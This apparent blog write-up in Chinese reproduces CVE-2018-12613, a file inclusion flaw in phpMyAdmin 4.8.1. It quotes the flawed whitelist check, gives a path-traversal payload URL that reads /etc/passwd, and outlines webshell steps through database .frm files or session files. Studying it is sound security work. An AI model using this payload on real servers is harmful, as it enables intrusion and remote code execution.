前言
一个非常经典的漏洞了,以前只是直接拿payload打,还没认真的在本地复现过,看过漏洞的代码到底是怎么回事,所以今天从github上下载phpmyadmin4.8.1,到vps上然后复现一波,看一下代码的问题。
复现
漏洞出现在index.php的第61行:
存在任意文件包含,但是需要进入if才可以。
一层一层的来看,首先target不为空,而且是字符串,这很容易满足,而且不以index开头,而且不在黑名单中:
$target_blacklist = array (
'import.php', 'export.php'
);
这些都是非常容易满足的,关键就在于最后的这个checkPageValidity
:
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
我看到这个代码的第一反应是我人傻了,这不是buuctf的那个web第一题warmup吗?好家伙原来那题的来源就是这个CVE。
白名单是这个:
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);
首先判断page是不是在白名单中,如果是的话就返回true,我们想要任意文件包含的话肯定不可能,继续跟进。
又进行了一次截取:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
把page后面加个?,然后取开头到第一个问号中间的那部分字符串,然后再判断是不是在白名单中。
讲道理,在这里就已经可以成功了,只要加上个?即可:
/index.php?target=db_sql.php?/../../../../../../../etc/passwd
这里截取到db_sql.php
,在白名单中然后return true了。然后就实现了任意文件包含漏洞。
能够包含任意文件,接下来的利用方式就非常简单了,想办法往文件里写shell然后包含就行了,有一种是往数据库里写shell:
创建一个库和表,我这里是feng库,shell表。然后里面的列名写shell:
然后找数据库的文件路径:
SELECT @@datadir
因为是feng库的shell表,所以就是feng/shell.frm
,包含即可:
第二种就是直接select写进session文件来包含。
然后包含相应的session文件即可:
这里的session值是cookie中phpmyadmin的值:
phpMyAdmin=r5t91oacbr39749gr2tuetq23b;
参考文章
phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613)
phpmyadmin4.8.1后台GetShell